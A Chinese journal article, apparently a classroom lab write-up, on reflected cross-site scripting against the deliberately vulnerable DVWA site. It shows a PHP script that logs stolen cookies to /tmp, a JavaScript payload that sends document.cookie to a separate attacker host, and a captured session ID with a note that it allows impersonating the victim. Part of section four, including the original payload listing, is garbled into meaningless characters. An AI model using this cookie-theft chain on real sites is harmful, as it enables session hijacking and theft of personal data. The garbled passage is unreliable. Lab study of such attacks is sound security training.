APP下载

基于DVWA下XSS跨站脚本攻击原理与实践

2018-05-14余立强

丝路视野 2018年29期

【摘要】分析反射型跨站脚本攻击的原理,在VMWare虚拟机软件中建立由Metasploitable2、Kali和Windows等组成的虚拟机局域网,配置虚拟机网络,调试好DVWA网站平台,建立WEB服务,编写获取cookie值的PHP程序,编写JavaScript恶意脚本,较好地达到了实践操作的效果。

【关键词】DVWA;XSS;跨站脚本;cookie;VMWare

XSS攻击即为跨站脚本攻击,英文为CrossSiteScripting,为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。这是当前一种非常重要的攻击方式,其危害主要体现在以下几个方面:盗取用户cookie;修改网页内容;网站挂马;利用网站重定向;XSS蠕虫等。

XSS攻击分为反射型(XSSreflected)、存储型(XSS stored)及本地利用漏洞型三种类型,这里仅介绍反射型跨站脚本攻击的原理与实践操作。

一、XSS跨站脚本攻击原理

利用DVWA平台进行XSS跨站脚本攻击的原理示意如图1所示。

在图1中,攻击者在有XSS漏洞的网站中将网页嵌入恶意脚本,如用JavaScript编写的恶意代码,当被攻击用户使用浏览器浏览点击被嵌入恶意代码网页中的链接时,恶意代码将会在用户的浏览器上执行,将被攻击用户的信息如Cookie值传输给攻击者(黑客)。攻击者获取到被攻击用户的Cookie值后绕过账号及密码的输入验证,直接登录到用户的网站,获取更有价值的信息。从而实现了跨过有XSS漏洞的网站对被攻击用户进行攻击。因此,XSS跨站脚本攻击与文件包含、命令执行、SQL注入等针对服务器端的攻击方式有很大差异,更具有隐蔽性和破坏性。

二、XSS跨站脚本攻击模拟环境拓扑结构

构建XSS跨站脚本攻击模拟环境的拓扑结构如图2所示。

宿主机一般为Windows7/10系统的PC机,安装VMWareWorkstation10.0以上版本软件;有跨站漏洞的网站由Metasploitable2虚拟机中的DVWA平台担承;攻击机是Kali虚拟机集成攻击工具;客户机是Windows7系统。这些虚拟机由VMWare虚拟网络构成星形拓扑结构的以太局域网。

三、模拟环境中虚拟机网络配置

(一)虚拟机的网络配置

在图2所示的拓扑结构中,各虚拟机的网络连接模式及IP地址分配按表1设置。

表1中的IP地址可以自己规划。考虑到宿主机通常要连接到外部网络并与内部虚拟机网络的连通,因此,在VMWare中对各虚拟机选择“仅主机”或“NAT”模式连接,使本环境中的虚拟机不暴露在外网易受攻击的网络中,保护宿主机的安全。

(二)VMWare虚拟机平台软件设置

在VMWareWorkstation10以上的软件版本上,修改VMWare的网络连接编辑配置,操作如下。

(1)点击VMWare软件菜单“编辑”,选择“虚拟网络编辑器”,进入如图3所示的窗口。

(2)点击VMnet1(仅主机模式),其配置按图3设置。

(三)网络连通性测试

经过上述配置后,分别进入三台虚拟机,进行网络连通性测试。

(1)三台虚拟机间能相互ping通。

(2)宿主机ping通各虚拟机。

(3)虚拟机ping不通宿主機。

四、XSS跨站脚本攻击前的准备工作

(一)调试有XSS漏洞的DVWA网站

!.调试"#$%网站平台

进入&()*+,-.()/,0虚拟机,核查12地址,输入命令:3.+ )445

在被攻击用户中打开16浏览器,在地址栏中输入:7((+8 99!:0.;<.0.0==9

显示&()*+,-.()/,0页面,其中有"#$%的链接,点击之>即可进入"#$%网站的界面。如果不能显示相关的页面,请检查网络配置。

0.编写?)@)AB5.+(恶意代码

可将?)@)AB5.+(的恶意代码以文本文件C)@)*B5.+(.(D(保存在宿主机中>其:

E *B5.+( F 4-BGHI(.J5.( K LE .HM*5B N O 7((+8 99!:0.;<.0.0!P9)BB+(Q B--R..+7+S B--R.NL T4-BGHI(.B--R. TL O J.4(7N= 7.M7(N= /-545N= 9FL U V ),5( K 9WAA9 U E9*B5.+(F

(二)Kali攻击机

攻击机是Kali2016,并利用其中的LAMP(apache2、MySQL、PHP服务)平台环境用来接收被害者的cookie值。

1.启动apache2服务

启动apache2服务,输入命令:#serviceapache2start

2.浏览验证apache2的默认主页

在被攻击用户中打开IE浏览器,地址栏处输入:http://172.49.2.216,显示apache2的默认页面。

3.编辑accept_cookie.php程序代码

在Kali2016集成工具中安装有PHP程序驱动模块,能够解释PHP程序的执行。因此,要在Kali2016的apache2默认主页的子目录/var/www/html/中编辑accept_cookie.php程序:

#vi/var/www/html/accept_cookie.php

<?php

date_default_timezone_set('Asia/Shanghai');

$cookie=$_GET['cookie'];//GETcookie

$ip=getenv('REMOTE_ADDR');//RemoteIP

$time=date('Y-m-dg:i:s');//

$referer=getenv('HTTP_REFERER');//refer

$agent=$_SERVER['HTTP_USER_AGENT'];//AGENT

$fp=fopen('/tmp/cookie.txt','a');//..cookie.txt

fwrite($fp,IP:.$ip.\nDateandTime:.$time.\nUserAgent:.$agent.\nReferer:.$referer.\nCookie:.$cookie.\n\n\n);//

fclose($fp);//

?>

保存退出。

accept_cookie.php程序由上述JavaScript脚本调用执行。其功能是将被害人的cookie值保存到Kali2016的子目录/tmp中,文件名为cookie.txt。

请注意子目录/tmp的权限属性为:

drwxrwxrwx12rootroot4096Nov1012:29tmp

即其它用户要有“写”的权限,否则,cookie.txt文件不能被写入/tmp目录中。当然,也可以指定其它子目录存放cookie.txt,只需该子目录对其它用户开放写的权限。

五、XSS跨站脚本攻击

在上述准备工作后,可以随时实施XSS攻击,其攻击过程如下:

(1)在被攻击用户中打开IE浏览器,在地址栏中输入:http://172.49.2.200/

(2)在Metasploitable2页面中点击DVWA链接,进入DVWA网站平台;

(3)输入账号:admin;密码:password

(4)登录成功后,在左侧栏中选择:DVWAsecurity,并在右侧窗口选择安全等级为:low,并点击“Submit”提交;

(5)继续在左侧栏中选择:XSSreflected;在右侧窗口的文本窗口中复制粘贴前述的“JavaScript的恶意代码”,点击“Submit”提交,有弹出窗口显示“/XSS”,如图4所示。

(6)在攻击机上输入命令:

#ls-l/tmp

#cat/tmp/cookie.txt

显示:IP:172.49.2.7

DateandTime:2018-11-1112:21:06

UserAgent:Mozilla/4.0(compatible;MSIE8.0;Windows NT6.1;WOW64;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC 6.0)

Referer:

http://172.49.2.200/dvwa/vulnerabilities/XSS_r/?name=%3Cscript%3Edocument.write%28%27%3Cimg+src% 3D%22http%3A%2F%2F172.49.2.216%2Faccept_cookie.php%3Fcookie%3D%27%2Bdocument.cookie%2B% 27%22width%3D0+height%3D0+border%3D0+%2F%3E% 27%29%3Balert%28%2FXSS%2F%29%3C%2Fscript%3E+

Cookie:security=low;

PHPSESSID=477dad0e5bc889a6bd98e9727816ad25

从上面的显示中看到了被攻击用户的cookie值:477dad0e5bc889a6bd98e9727816ad25

至此,攻击者就可以利用cookie值冒充被攻击用户登录到网站中获取其个人隐私信息。关于cookie值的利用请参考其它相关资料。

六、结语

由于XSS是针对客户端浏览器的攻击,而目前的很多浏览器都已经自带了XSS防御功能,因而建议被攻击用户的系统可采用windows7/XP/2003虚拟机,通过IE8/IE6浏览器去访问DVWA,这样能顺利地获得攻击实践操作的效果。

参考文献

[1]felix.手把手教你如何搭建自己的渗透测试环境[EB/OL]. 2016-04-27:http://www.freebuf.com/sectool/102661.html.

[2]谢文东的围脖.Metasploitable2使用指南[EB/OL].2014-05-18:https://www.freebuf.com/articles/system/34571.html.

[3]百度經验.如何安装全新的KaliLinux系统[EB/OL].:https://jingyan.baidu.com/article/ca2d939d62f4eaeb6c31ce 0f.html.

[4]Nightsay.【XSS】dvwa平台下的实战[EB/OL].2015-05-19:https://blog.csdn.net/Nightsay/article/details/45833353.

[5]百度百科.XSS攻击[EB/OL].2018-06-16:https://baike. baidu.com/item/XSS攻击/954065?fr=aladdin.

作者简介:余立强(1960—),男,江苏无锡人,无锡商业职业技术学院物联网技术学院,高级工程师,研究方向:计算机网络安全与云计算。